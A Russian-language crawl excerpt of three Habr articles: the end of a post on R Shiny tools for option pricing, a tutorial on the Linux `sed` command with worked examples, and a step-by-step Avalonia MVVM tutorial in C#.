Подробнее о них вы может узнать из предыдущих топиков моего блога на [quant-lab.com](http://quant-lab.com/). Обе модели хорошо себя зарекомендовали в торговле опционами на USD/RUB.
#### Option Pricing
Shiny предоставляет возможность строить интерактивные графики. Можно навести указатель мыши или кликнуть на интересующую область графика и получить координаты этой точки. Например, мое приложения для прайсинга опционов обрабатывает полученные координаты и выдает: a) рыночную информацию в указанном страйке (best bid/ask в пунктах и волатильностях плюс их объемы; b) волатильность, теретические цены опционов call и put для данной волатильности и греки.
*Рис. 6. Интерактивный опционный калькулятор*
#### Portfolio Calculations
Еще одно shiny-приложение, котором я пользуюсь ежедневно – qbook. Оно позволяет оценивать мои опционные позиции и имеет очень гибкие настройки: улыбки волатильности опционных серий можно задавать моделью или вручную (либо выбрать биржевую, но я не рекомендую вам так поступать), можно корректировать время до экспирации, моделировать различные сценарии – все это будет отображено на одном графике и в одной табличке для удобства сравнения. Плюс удобное представление книги – отображается в каком страйке сколько суммарно опционов продано/куплено и их суммарные греки.
*Рис. 7. Сценарии волатильности и показатели чувствительности книги*
*Рис. 8. P&L профиль книги для двух сценариев и на экспирацию ближней серии*
#### Sharing
Еще одним приятным и полезным свойством Shiny приложений является простота, с которой вы можете ими делиться. Решений как минимум два: делиться целым приложением или только результатами. Чтобы поделиться приложением, размещенным на Shiny сервере, вам нужно пробросить порт 3838 и дать пользователю ссылку на IP адрес вашего роутера. Это не лучшее решение в плане безопасности. На мой взгляд гораздо лучше делиться только результатами – это очень просто организовать, например, с помощью сервиса plotly. Вы можете запостить график в облачный сервис plotly прямо из Shiny приложения:
```
pp <- plotly_POST(p, filename=plotly.name, fileopt="overwrite")
```
и дать пользователю [ссылку](https://plot.ly/~olegmub/64) на этот график. Более того графики plotly могут быть внедрены в ваш сайт или блог:
* В качестве заключения хочу еще раз отметить основные моменты:
* Созданное решение – бесплатное (Shiny Server, Rstudio Server, VMware – имеют бесплатные версии)
* Shiny приложения кросс-платформенные, доступны с любого современного устройства из любой точки мира, где есть интернет
* Использованные численные методы, модели и алгоритмы взяты из готовых пакетов (out of the box), созданных опытными программистами и математиками, робастные и протестированные большим числом опытных пользователей
* Разработка приложений – не сложный и быстрый процесс
* Интерактивность графических данных сильно упрощает прайсинг опционов и анализ позиций
#### Другие материалы о разработке торгового софта:
* [How-to: Объектно-ориентированная система бэктестинга на Python](https://habrahabr.ru/post/276151/)
* [Создание торговых роботов: 11 инструментов разработки](https://habrahabr.ru/post/268783/)
* [How-to: пошаговое руководство по разработке торговой системы для работы на фондовом рынке](http://habrahabr.ru/post/224353/)
* [How-to: как выбрать язык программирования для создания торгового робота](http://habrahabr.ru/post/216937/)
* [Назад в будущее: проверка работоспособности торгового робота с помощью исторических данных](http://habrahabr.ru/post/238839/)
* [How-to: Что нужно учитывать при разработке первого торгового робота](http://habrahabr.ru/post/250169/)
* [How-to: Что нужно учитывать при разработке стратегии для торгового робота](http://habrahabr.ru/post/249299/)
* [Книги и образовательные ресурсы по алгоритмической торговле](http://habrahabr.ru/post/257971/)
* [Алгоритмическая и автоматизированная торговля: 13 книг по теме](http://habrahabr.ru/post/265595/) | https://habr.com/ru/post/277845/ | null | ru | null |
# Команда SED в Linux/Unix с примерами
[](https://habr.com/ru/company/ruvds/blog/667490/)
Компиляция из двух смежных статей на тему использования команды `sed` для редактирования текстовых файлов, включая различные варианты поиска и замены шаблонов, а также всевозможные операции со строками. Идею к публикации этого гайда [подал](https://habr.com/ru/company/ruvds/blog/665852/#comment_24365958) участник [nronnie](https://habr.com/ru/users/nronnie/) в комментарии к предыдущей [статье, посвящённой работе с Bash](https://habr.com/ru/company/ruvds/blog/665852/).
SED – это потоковый редактор текста (от **s**tream **ed**itor), c помощью которого можно выполнять с файлами множество операций вроде поиска и замены, вставки или удаления. При этом чаще всего он используется именно для поиска и замены.
SED позволяет редактировать файлы, не открывая, что существенно ускоряет работу, чем при использовании того же vi. Помимо этого, SED поддерживает регулярные выражения, с помощью которых можно выполнять сложное сопоставление шаблонов.
Общий синтаксис команды `sed` выглядит так:
```
sed OPTIONS... [SCRIPT] [INPUTFILE...]
```
Сами же варианты её использования мы рассмотрим на примере следующего отрывка текста:
```
$cat > geekfile.txt
```
```
unix is great os. unix is opensource. unix is free os.
learn operating system.
unix linux which one you choose.
unix is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful.
```
Примеры команд
--------------
### 1. Замена заданного шаблона
Следующая команда заменит в целевом файле вхождения слова `unix` на `linux`:
```
$sed 's/unix/linux/' geekfile.txt
```
Вывод:
```
linux is great os. unix is opensource. unix is free os.
learn operating system.
linux linux which one you choose.
linux is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful.
```
Здесь `s` обозначает операцию замены, а прямые слэши выступают разделителями. В качестве искомого шаблона используется `unix`, а в качестве его замены `linux`.
По умолчанию команда `sed` заменяет первое вхождение шаблона в каждой строке, не затрагивая второе, третье и т.д.
### 2. Замена n-ого вхождения шаблона в строке
Вхождения, которые нужно заменить, обозначаются с помощью флагов `/1`, `/2` и т.д. К примеру, следующая команда заменит в каждой строке второе вхождение:
```
$sed 's/unix/linux/2' geekfile.txt
```
Вывод:
```
unix is great os. linux is opensource. unix is free os.
learn operating system.
unix linux which one you choose.
unix is easy to learn.linux is a multiuser os.Learn unix .unix is a powerful.
```
### 3. Замена всех вхождений шаблона в файле
Дя замены всех без исключения вхождений заданного шаблона используется глобальный флаг `/g`:
```
$sed 's/unix/linux/g' geekfile.txt
```
Вывод:
```
linux is great os. linux is opensource. linux is free os.
learn operating system.
linux linux which one you choose.
linux is easy to learn.linux is a multiuser os.Learn linux .linux is a powerful.
```
### 4. Замена всех вхождений шаблона в строке начиная с n-ого
Для этого номер вхождения, с которого нужно начать, сопровождается флагом `g`. Следующая команда заменит в каждой строке третье, четвёртое и т.д. вхождения слова `unix` на слово `linux`:
```
$sed 's/unix/linux/3g' geekfile.txt
```
Вывод:
```
unix is great os. unix is opensource. linux is free os.
learn operating system.
unix linux which one you choose.
unix is easy to learn.unix is a multiuser os.Learn linux .linux is a powerful.
```
### 5. Заключение первых символов слов в скобки
Следующая команда заключит в скобки первый символ каждого слова:
```
$ echo "Welcome To The Geek Stuff" | sed 's/\(\b[A-Z]\)/\(\1\)/g'
```
Вывод:
```
(W)elcome (T)o (T)he (G)eek (S)tuff
```
### 6. Замена шаблона в конкретной строке
Можно ограничить выполнение команды `sed` нужной строкой:
```
$sed '3 s/unix/linux/' geekfile.txt
```
Вывод:
```
unix is great os. unix is opensource. unix is free os.
learn operating system.
linux linux which one you choose.
unix is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful.
```
Вышеприведённая команда заменяет заданное слово только в третьей строке.
### 7. Дублирование изменяемых строк
При добавлении флага `/p` команда выведет в терминал строки, где производится замена. Строки, в которых искомый шаблон отсутствует, не дублируются.
```
$sed 's/unix/linux/p' geekfile.txt
```
Вывод:
```
linux is great os. unix is opensource. unix is free os.
linux is great os. unix is opensource. unix is free os.
learn operating system.
linux linux which one you choose.
linux linux which one you choose.
linux is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful.
linux is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful.
```
### 8. Вывод только строк с заменой
Если рядом с флагом `/p` добавить ключ `-n`, в терминале отобразятся только строки, где выполнялась замена. В данном случае `-n` отключает дублирующее поведение флага `/p`, поэтому строки с заменой выводятся по одному разу.
```
$sed -n 's/unix/linux/p' geekfile.txt
```
Вывод:
```
linux is great os. unix is opensource. unix is free os.
linux linux which one you choose.
linux is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful.
```
Если использовать только `-n`, исключив `/p`, вывод команда не произведёт.
### 9. Замена шаблона в указанном диапазоне строк
`sed` позволяет указывать диапазон строк, в которых требуется заменить определённый шаблон:
```
$sed '1,3 s/unix/linux/' geekfile.txt
```
Вывод:
```
linux is great os. unix is opensource. unix is free os.
learn operating system.
linux linux which one you choose.
unix is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful.
```
Здесь `sed` производит замену в строках с 1 по 3. А вот ещё один пример:
```
$sed '2,$ s/unix/linux/' geekfile.txt
```
Вывод:
```
unix is great os. unix is opensource. unix is free os.
learn operating system.
linux linux which one you choose.
linux is easy to learn.unix is a multiuser os.Learn unix .unix is a powerful
```
Здесь `$` указывает на последнюю строку файла, в связи с чем `sed` заменяет первые вхождения шаблона, начиная со второй и заканчивая ей.
### 10. Удаление строк из файла
С помощью `sed` также можно удалять строки из заданного файла:
10.1 Удаление n-ой строки:
Синтаксис: `$ sed 'nd' filename.txt`
Пример: `$ sed '5d' filename.txt`
10.2 Удаление последней строки:
Синтаксис: `$ sed '$d' filename.txt`
10.3 Удаление строк с x> по y:
Синтаксис: `$ sed 'x,yd' filename.txt`
Пример: `$ sed '3,6d' filename.txt`
10.4 Удаление строк с n-ой до последней:
Синтаксис: `$ sed 'n,$d' filename.txt`
Пример: `$ sed '12,$d' filename.txt`
10.5 Удаление текста, соответствующего шаблону:
Синтаксис: `$ sed '/pattern/d' filename.txt`
Пример: `$ sed '/abc/d' filename.txt`
Примеры команд (продолжение)
----------------------------
Во второй части мы разберём ещё одну серию операций с командой `sed` на примере уже другого файла, *a.txt*. Чтобы излишне не растягивать статью, вывод команд далее приводится не будет, так что для лучшего понимания можете самостоятельно попрактиковаться, создав такой же файл с аналогичным содержимым.
```
[root@rhel7 ~]# cat a.txt
```
```
life isn't meant to be easy, life is meant to be lived.
Try to learn & understand something new everyday in life.
Respect everyone & most important love everyone.
Don’t hesitate to ask for love & don’t hesitate to show love too.
Life is too short to be shy.
In life, experience will help you differentiating right from wrong.
```
### Добавление/удаление пустых строк в файле
1. Вставить после каждой текстовой строки одну пустую:
```
[root@rhel7 ~]# sed G a.txt
```
2. Вставить две пустые строки:
```
[root@rhel7 ~]# sed 'G;G' a.txt
```
3. Удалить все пустые строки и вставить по одной после каждой текстовой:
```
[root@rhel7 ~]# sed '/^$/d;G' a.txt
```
4. Вставить пустую строку над каждой, содержащей `love`:
```
[root@rhel7 ~]# sed '/love/{x;p;x;}' a.txt
```
5. Вставить пустую строку после каждой, содержащей `love`:
```
[root@rhel7 ~]# sed '/love/G' a.txt
```
6. Вставить 5 пробелов слева от каждой строки:
```
[root@rhel7 ~]# sed 's/^/ /' a.txt
```
### Нумерация строк
1. Пронумеровать каждую строку файла (с левым выравниванием).
В этой команде символ `=` используется для нумерации строки, а флаг `\t` для табулирования между номером и предложением:
Пример: `[root@rhel7 ~]# sed = a.txt | sed 'N;s/\n/\t/'`
2. Пронумеровать каждую строку файла (число слева, выравнивание по правому краю).
Эта команда похожа на ``cat -n filename``:
Пример: `[root@rhel7 ~]# sed = a.txt | sed 'N; s/^/ /; s/ *\(.\{4,\}\)\n/\1 /'`
3. Пронумеровать каждую непустую строку файла:
Пример: `[root@rhel7 ~]# sed '/./=' a.txt | sed '/./N; s/\n/ /'`
### Удаление строк
1. Удалить конкретную строку:
Синтаксис: `sed ‘nd’ filename`
Пример: `[root@rhel7 ~]# sed '5d' a.txt`
2. Удалить последнюю строку:
Синтаксис: `sed ‘$d’ filename`
3. Удалить строки с `x` по `y`:
Синтаксис: `sed ‘x,yd’ filename`
Пример: `[root@rhel7 ~]# sed '3,5d' a.txt`
4. Удалить строки с n-ой до последней:
Синтаксис: `sed ‘n,$d’ filename`
Пример: `[root@rhel7 ~]# sed '2,$d' a.txt`
5. Удалить строку, содержащую шаблон:
Синтаксис: `sed ‘/pattern/d’ filename`
Пример: `[root@rhel7 ~]# sed '/life/d' a.txt`
6. Удалить каждую вторую строку начиная с n-ой:
Синтаксис: `sed ‘n~2d’ filename`
Пример: `[root@rhel7 ~]# sed '3~2d' a.txt`
7. Удалить строки, содержащие шаблон, и по две строки после них:
Синтаксис: `sed ‘/pattern/,+2d’ filename`
Пример: `[root@rhel7 ~]# sed '/easy/,+2d' a.txt`
8. Удалить пустые строки:
Пример: `[root@rhel7 ~]# sed '/^$/d' a.txt`
9. Удалить пустые строки или начинающиеся с `#`:
Пример: `[root@rhel7 ~]# sed -i '/^#/d;/^$/d' a.txt`
### Просмотр/вывод строк
Для просмотра содержимого файла мы используем команду `cat`, а его начало и конец просматриваем с помощью утилит `head` и `tail`. Но что, если нас интересует некий участок в середине файла? В таком случае можно снова задействовать `sed`.
1. Просмотреть файл со строки x по y:
Синтаксис: `sed -n ‘x,yp’ filename`
Пример: `[root@rhel7 ~]# sed -n '2,5p' a.txt`
2. Просмотреть весь файл, за исключением заданного диапазона:
Синтаксис: `sed ‘x,yd’ filename`
Пример: `[root@rhel7 ~]# sed '2,4d' a.txt`
3. Вывести n-ую строку файла:
Синтаксис: `sed -n ‘address’p filename`
Пример: `[root@rhel7 ~]# sed -n '4'p a.txt`
4. Вывести строки с x по y:
Синтаксис: `sed -n ‘x,y’p filename`
Пример: `[root@rhel7 ~]# sed -n '4,6'p a.txt`
5. Вывести только последнюю строку:
Синтаксис: `sed -n ‘$’p filename`
6. Вывести с n-ой строки до последней:
Синтаксис: `sed -n ‘n,$p’ filename`
Пример: `[root@rhel7 ~]# sed -n '3,$'p a.txt`
7. Вывести строки, содержащие указанный шаблон:
Синтаксис: `sed -n /pattern/p filename`
Пример: `[root@rhel7 ~]# sed -n /every/p a.txt`
8. Вывести строки начиная с первой, где обнаружен шаблон, и до строки x:
Синтаксис: `sed -n ‘/pattern/,xp’ filename`
Пример: `[root@rhel7 ~]# sed -n '/everyone/,5p' a.txt`
В данном случае первое вхождение `everyone` содержится в строке 3, значит в терминале отобразятся строки с 3 по 5. Если нужно вывести файл до конца, используйте вместо 5 символ `$`.
9. Вывести строки с x и до строки, содержащей шаблон. Если шаблон не обнаруживается, выводится файл до конца:
Синтаксис: `sed -n ‘x,/pattern/p’ filename`
Пример: `sed -n '1,/everyone/p' a.txt`
10. Вывести все строки, содержащие шаблон, включая следующие за каждой из них x строк:
Синтаксис: `sed -n ‘/pattern/,+xp’ filename`
Пример: `sed -n '/learn/,+2p' a.txt`
Замена с помощью команды sed (дополнение)
-----------------------------------------
Ниже приводится небольшой список операций, дополняющий перечисленные ранее.
1. Два способа замены шаблона, игнорируя регистр:
1.1 Использовать флаг `/i`:
Синтаксис: `sed ‘s/old_pattern/new_pattern/i’ filename`
Пример: `[root@rhel7 ~]# sed 's/life/Love/i' a.txt`
1.2 Использовать регулярные выражения:
Пример: `[root@rhel7 ~]# sed 's/[Ll]ife/Love/g' a.txt`
2. Замена нескольких пробелов одним:
Пример: [root@rhel7 clang]# sed 's/ \*/ /g' filename
3. Замена шаблона, сопровождающего другой шаблон:
Синтаксис: `sed ‘/followed_pattern/ s/old_pattern/new_pattern/’ filename`
Пример: `[root@rhel7 ~]# sed '/is/ s/live/love/' a.txt`
10. Замена шаблона другим шаблоном, за исключением строки n:
Синтаксис: `sed ‘n!s/old_pattern/new_pattern/’ filename`
Пример: `[root@rhel7 ~]# sed -i '5!s/life/love/' a.txt`
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=komanda_sed_v_linux_unix_s_primerami) | https://habr.com/ru/post/667490/ | null | ru | null |
# Avalonia Tutorial: Реализация MVVM по шагам с примерами
Avalonia — это?
---------------
[Avalonia](https://avaloniaui.net/docs) – это кроссплатформенный XAML фреймворк для платформы .NET. Для многих разработчиков на WPF/UWP/Xamarin данный фреймворк будет интуитивно понятен и прост в освоении. Avalonia поддерживает Windows, Linux, macOS, также заявлена экспериментальная поддержка Android и iOS. Развивается проект при поддержке сообщества и является open-source.
Подробнее про фреймворк можно почитать по следующим ссылкам:
* [Релиз первой беты кросс-платформенного XAML UI-тулкита Avalonia;](https://habr.com/ru/post/349394/)
* [Релиз кросс-платформенного .NET UI-тулкита AvaloniaUI 0.9;](https://habr.com/ru/post/481102/)
* [Никита Цуканов — AvaloniaUI — первый кроссплатформенный XAML UI-фреймворк с поддержкой .NET Core.](https://www.youtube.com/watch?v=8qzqweimcFs)
Мотивация для статьи
--------------------
Автору нравится разработка с помощью WPF/UWP и есть опыт использования в реальных проектах. У данных платформ есть свои плюсы и минусы, но самым главным недостатком было то, что они не являются кроссплатформенными. Долгое время, сосредоточенность компании Microsoft на Windows среде, даже с наличием Mono и выходом Net Core, для многих разработчиков вне мира .net – сохранило стереотип, что C# это только для Windows. И если для back-end – платформа .Net Core, стала действительно решением, то с точки зрения кроссплатформенного десктопа изменений не было. Портирование WinForms и WPF для запуска с под .Net Core, является оптимизацией C# кода, но с точки зрения поддержки Linux/MacOS изменений не было.
Как только появилось свободное время решил попробовать разобраться в фреймворке. Конкретно поводом для статьи стал [issue](https://github.com/AvaloniaUI/avaloniaui.net/issues/128) к официальной документации Авалонии на Github.
Сейчас в документации пример сделан непосредственно с помощью библиотеки [ReactiveUI](https://reactiveui.net/) и в issue поднимается вопрос о необходимости реализации MVVM паттерна на чистом шаблоне проекта без подключения сторонних библиотек. Именно данную цель преследует эта статья.
MVVM в теории
-------------
Про данный шаблон написано достаточно на Хабре ([1](https://habr.com/ru/post/338518/),[2](https://habr.com/ru/post/176867/)) и в документации [Xamarin.Forms](https://docs.microsoft.com/en-us/xamarin/xamarin-forms/enterprise-application-patterns/mvvm), [Avalonia](https://avaloniaui.net/docs/quickstart/mvvm), поэтому данный раздел вынесен в спойлер.
**Про MVVM**
MVVM (Model-View-ViewModel) – шаблон проектирования, концентрирующий внимание на разделении бизнес-логики и интерфейса программы. Данный шаблон широко используется в приложениях на платформах WPF/UWP/Xamarin.
### “Что” от “чего” отделяет?
При использовании вышеприведенных фреймворков, приложение делится на два слоя:
* Бизнес логика приложения, в паттерне первая буква “M” (**Model**). В данном слое описывается логика и основные задачи перед приложения. Взаимодействие с файловой системой, базой данных, API, описание сущностей системы и т.п. Часто общение с различными источниками данных, выделяют в отдельную под-часть (Services).
* Интерфейс – в паттерне буква V (**View**) описывается с помощью языка разметки XAML.
Именно эти два слоя и призван разделить паттерн с помощью добавления еще одного – модель представления (**ViewModel**).
ViewModel — связывающий слой между Model и View с помощью технологии привязки (Binding). Для понятия Binding, введем понятие свойства (Property) – изменяемое поле данных во ViewModel. Простыми словами, с помощью binding, все property, описанные в ViewModel доступны для View. Важным, также является **изменяемость** property – под этим следует, что любые изменения во View или Model о которых "узнает" ViewModel будут автоматически изменены в зависимости от того, откуда пришли изменение (ввод текстового поля, получение ответа от API и т.п)
Классическая схема выглядит следующим образом:
**Примечание**: в дальнейшем, в статье будут использоваться английские значения (View. ViewModel, Model, binding, property). Субъективное мнение автора, о том, что так удобнее, сформировано привычкой использования и коммуникацией с другими разработчиками.
### Зачем разделять?
Для создания независимых частей приложения. Используя MVVM, вы гарантируете, что слой Model ничего не знает о View, это же применимо для ViewModel. В свою очередь это дает следующие преимущества:
* Использовать единожды написанную логику в других проектах, изменяя только View. Например, вы разрабатываете приложение для Android / iOS на платформе Xamarin и вам необходимо сделать десктоп версию. Используя MVVM, бизнес логика приложения не изменится и достаточно будет ее добавить в проект с View, написанным на платформах WPF/UWP. Наглядный пример описан [тут](https://habr.com/ru/post/418007/) с использованием реактивной реализации MVVM.
* Unit-тесты. Независимость Model и ViewModel позволяет писать Unit-тесты, не обращая внимание на особенности интерфейса.
* В случае редизайна приложения, необходимость изменения логики – минимальна или отсутствует.
Практика
--------
За реализацию приложения возьмем идею отображения популярных фильмов. Сформируем следующие задачи:
1. Отобразить фильмы;
2. Перемещаться между разными наборами фильмов;
3. Использовать подход MVVM.
Задачи выбраны достаточно простыми, чтобы разработчикам не знакомым с WPF/UWP/Xamarin было просто попробовать и запустить приложение. В первом варианте задумки было намного больше функциональности, но каждая из них добавляла новые понятие и охватывало куда больше нюансов и подходов, и цель статьи размывалась.
### Инструменты разработки
Для разработки Вам понадобится [Visual Studio](https://visualstudio.microsoft.com/ru/) и плагин [Avalonia](https://marketplace.visualstudio.com/items?itemName=AvaloniaTeam.AvaloniaforVisualStudio) для нее.
По умолчанию, согласно [документации](https://avaloniaui.net/docs/quickstart/create-new-project), Avalonia поддерживает .Net Framework и Net Core 2.0+. Для кроссплатформенной разработки нужно выбрать Net Core. Для написания статьи плагин был установлен в Visual Studio 2019, платформой запуска является [Net Core 3.0](https://dotnet.microsoft.com/download/dotnet-core/3.0). Выбор проекта Avalonia в Visual Studio 2019:
### Начальный вид проекта, добавление стилей и данных
Вот так выглядит проект Avalonia сразу после его создания:
**Program.cs** – в нем находится функция Main и описываются конфигурации для запуска проекта. В нем указывается непосредственно Application класс App. Данный класс имплементируется в двух файлах:
**App.xaml** в котором описываются ресурсы доступные всему проекту – формируют класс Application.
**App.xaml.cs** – code-behind файл, в котором происходит инициализация xaml компонентов и пользовательского интерфейса, с него вызывается MainWindow.
**MainWindow** представляет собой реализацию класса Window, в code-behind файле можно добавлять обработчики событий (клики на кнопки, выбор из списков и т.п) на элементы интерфейса описанных в MainWindow.xaml.
При запуске приложения, у нас должно появится окно с текстовым сообщение “Welcome to Avalonia”.
#### Добавление стилей
В статье описание самих стилей опускается, но чтобы выглядело красиво, нужно добавить [библиотеку](https://github.com/speeedforce/Moviewer/tree/master/MovieApp.Styling) (авторская) в сборку и **подключить** в проект Авалонии. Для использования в самом проекте, нужно указать стили в файле MainWindow.xaml вот таким образом:
```
Welcome to Avalonia!
```
Для проверки стилей, создадим хедер приложения:
```
MO
VIEW
ER
```
Вот так оно должно выглядеть после запуска:
#### Добавляем данные
Данные подготовлены заранее и скачать их можно с репозитория на [GitHub](https://github.com/speeedforce/Moviewer/tree/master/Moviewer/Data). Дальше нужно скопировать в папку проекта Moviewer и в файле Moviewer.csproj добавить следующее:
```
Always
```
Это необходимо, чтобы при сборке данные добавлялись в исполняемую папку. Проверить себя, можно собрав проект и после найти папку в сборке по такому пути: project-folder/bin/netcoreapp3.0/Data.
Формат данных выглядит так:
Реализуем MVVM
--------------
Добавим папку ViewModels и классы ViewModelBase, MainWindowViewModel.cs Для реализации ViewModel необходимо реализовать интерфейс INotifyPropertyChanged. Данный интерфейс используется для отслеживания изменений в Property, определенных в ViewModel. В приложении может быть множество ViewModel, для различных элементов интерфейса, поэтому удобно реализовать интерфейс в классе ViewModelBase, а в ViewModel использовать имплементацию ViewModelBase.
***Примечание***: существует достаточное количество библиотек ([MVVMLight](http://www.mvvmlight.net/), [Prism](https://prismlibrary.com/docs/), [ReactiveUI](https://reactiveui.net/), [MVVM Cross](https://www.mvvmcross.com/documentation/)), где шаги приведенные выше уже реализованы. В данной статье описывается реализация паттерна в целом. Для Авалонии существует шаблон с использованием ReactiveUI.
```
public class ViewModelBase : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
protected virtual void OnPropertyChanged([CallerMemberName] string propertyName = null)
{
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
}
```
В MainWindowViewModel.cs создадим текстовое поле, чтобы использовать binding и проверить, связь между View и ViewModel.
```
public class MainWindowViewModel : ViewModelBase
{
public string Text => "Welcome to Avalonia";
}
```
Для отображения сообщения, в MainWindow.xaml добавим следующую разметку перед закрывающимся тэгом Grid.
```
```
Последний шаг, связываем нашу форму с ViewModel. В файле App.xaml.cs, указываем DataContext для MainWindow.
```
public override void OnFrameworkInitializationCompleted()
{
if (ApplicationLifetime is IClassicDesktopStyleApplicationLifetime desktop)
{
desktop.MainWindow = new MainWindow()
{
DataContext = new MainWindowViewModel()
};
}
base.OnFrameworkInitializationCompleted();
}
```
DataContext – используется для реализации привязки данных, источником данных выступает MainWindowViewModel. В упрощенном понимании, можно сформулировать так: “property описанные в классе MainWindowViewModel, **доступны** для привязки в MainWindow.xaml”
В MainWindow.xaml с помощью binding мы можем указать текстовому полю наше свойство из MainWindowViewModel. Запуская приложение, вы увидите “Welcome to Avalonia” в левом верхнем углу.
О преимуществах данного подхода можно прочесть в спойлере выше, а о DataContext можно прочитать в следующем [блоге](https://rachel53461.wordpress.com/2012/07/14/what-is-this-datacontext-you-speak-of/).
Реализация Model
----------------
На уровне модели мы реализуем: класс фильма
```
public class Movie
{
public int Id { get; set; }
public int VoteCount { get; set; }
public string PosterPath { get; set; }
public string Title { get; set; }
public double VoteAverage { get; set; }
public string Overview { get; set; }
public string ReleaseDate { get; set; }
[JsonIgnore]
public Bitmap Poster { get; set; }
}
```
Сервис для получения и обработки данных о фильмах. Создадим папку Services и реализуем загрузку данных. Для работы с json используется [Newtonsoft.Json](https://www.nuget.org/packages/Newtonsoft.Json/)
```
public class MovieService
{
readonly string _workingDirectory = Environment.CurrentDirectory;
public async Task> GetMovies(int pageIndex)
{
var folderPath = $"{\_workingDirectory}\\Data\\Page{pageIndex}";
var dataFile = $"page{pageIndex}.json";
var imageFolder = Path.Combine(folderPath, "Images");
List items;
//read data
using (var r = new StreamReader(Path.Combine(folderPath, dataFile)))
{
var json = r.ReadToEnd();
items = JsonConvert.DeserializeObject>(json);
}
//load images
foreach (var item in items)
{
var imagePath = Path.Combine(imageFolder, $"{item.Title}.png");
item.Poster = await GetPoster(imagePath);
}
return items;
}
private Task GetPoster(string posterUrl)
{
return Task.Run(() =>
{
using var fileStream = new FileStream(posterUrl, FileMode.Open, FileAccess.Read) {Position = 0};
var bitmap = new Bitmap(fileStream);
return bitmap;
});
}
}
```
В GetMovies загружаются данные о фильмах, для загрузки картинок используется GetPoster. На этом логика завершена, дальше обновим ViewModel и View и покажем список фильмов.
Обновление ViewModel и View
---------------------------
GetMovie возвращает Task, поэтому будем NotifyTaskCompletion из [Nito.AsyncEx 3.0.1](https://www.nuget.org/packages/Nito.AsyncEx/3.0.1) (**Важно** использовать именно версию 3.0.1). О том как правильно реализовывать загрузку в ViewModel описано детально в [блоге](https://blog.stephencleary.com/2013/01/async-oop-2-constructors.html) Стивена Клери.
Логика загрузки весьма проста: пока грузятся данные показываем ProgressBar, после завершения загрузки выводим на экран.
***Примечание***: поскольку данные загружаются локально, то задержки почти нет, поэтому поставим ее сами (на 1 секунду) с помощью Task.Delay(1000).
```
public class MainWindowViewModel : ViewModelBase
{
private MovieService _movieService;
public MainWindowViewModel()
{
InitializationNotifier = NotifyTaskCompletion.Create(InitializeAsync());
}
public INotifyTaskCompletion InitializationNotifier { get; private set; }
private async Task InitializeAsync()
{
_movieService = new MovieService();
var data = await _movieService.GetMovies(1);
await Task.Delay(1000);
MyItems = new ObservableCollection(data);
}
private ObservableCollection \_myItems;
public ObservableCollection MyItems
{
get => \_myItems;
set
{
if (value != null)
{
\_myItems = value;
OnPropertyChanged();
}
}
}
}
}
```
Выведем на экран фильмы, заменив StackPanel в MainWindows.xaml на следующую разметку:
```
```
После этого, при запуске приложения в начале появится ProgressBar, а затем набор фильмов.
### Переключаем наборы фильмов
В ViewModel нам нужно добавить параметр страницы Page, который выведем вверху страницы. Интерфейс подписывается на событие PropertyChange и “прослушивает” изменения впоследствии обновляя нужный property:
```
private int _page;
public int Page
{
get => _page;
set
{
_page = value;
OnPropertyChanged();
}
}
```
***Примечание***: в классическом виде выглядит достаточно громоздко, с помощью различный библиотек ([Fody](https://github.com/Fody/PropertyChanged), [ReactiveUI](https://reactiveui.net/docs/handbook/view-models/boilerplate-code#read-write-properties)) можно выразить это лаконичнее.
Для обработки переключения: вперед, назад необходимо добавить две функции. В них мы будем менять счетчик и вызывать GetMovie с новым его значением. Логика будет идентично той, что и при загрузке, только добавится вычисление страницы. Для удобства вынесем загрузку в отдельный метод, который будет принимать параметр страницы.
```
public async Task LoadData(int page)
{
var data = await _movieService.GetMovies(page);
await Task.Delay(1000);
MyItems = new ObservableCollection(data);
}
```
Инициализация ViewModel преобразуется в следующий вид:
```
private async Task InitializeAsync()
{
Page = 1;
_movieService = new MovieService();
await LoadData(Page);
}
```
Сами функции будут выглядеть так:
```
public void NextPage()
{
if (_page+1 > 10)
Page = 1;
else
Page = _page + 1;
InitializationNotifier = NotifyTaskCompletion.Create(LoadData(Page));
}
public void PrevPage()
{
if (1 > _page - 1)
Page = 10;
else
Page = _page - 1;
InitializationNotifier = NotifyTaskCompletion.Create(LoadData(Page));
}
```
Условия в начале каждой из функций зацикливает переключение. Дойдя до последней страницы, следующей будет 1 и в обратную сторону. Нажимая на кнопку Prev на первой, мы перейдем на последнюю. Стоит отметить, что в классическом варианте MVVM для обработки действий используются команды ([Commands](https://habr.com/ru/post/196960/)). В Авалонии в отличии от других XAML фреймворков есть возможность привязки не только к командам, но и к [методам](https://avaloniaui.net/docs/binding/binding-to-commands) (как в нашем случае), что порой удобнее, чем создание команд.
Получение новой коллекции остается асинхронной операцией, поэтому мы используем тот же подход, что при инициализации ViewModel, а именно NotifyTaskCompletion. Однако для того, чтобы ProgressBar появлялся при переключении и автоматически обновлялось поле, необходимо InitializationNotifier сделать property, добавив OnPropertyChange():
```
private INotifyTaskCompletion _initializationNotifier;
public INotifyTaskCompletion InitializationNotifier
{
get => _initializationNotifier;
private set
{
_initializationNotifier = value;
OnPropertyChanged();
}
}
```
Для позиционирования элементов используем [Grid](https://avaloniaui.net/docs/controls/grid) с 2-мя строками 3-мя колонками. После Grid.Row = “1” добавьте следующее (Важно, чтобы закрывающий тэг > был после новых строчек):
```
ColumnDefinitions="Auto, *, Auto"
RowDefinitions="Auto, *" >
```
Расположим ProgressBar по центру
```
Grid.Column="1" Grid.Row="1"
```
В MainWindow выведем номер страницы и свяжем кнопки и функциями.
```
```
Приложение готово! Автором приложение запускалось на Windows 10, Mint.
Как запустить на Linux
----------------------
Достаточно установить Net Core, скопировать собранный проект на систему и внутри папки вызвать из консоли dotnet Moviewer.dll (или то название, которое Вы укажете в создании проекта)
Мнение автора про Avalonia
--------------------------
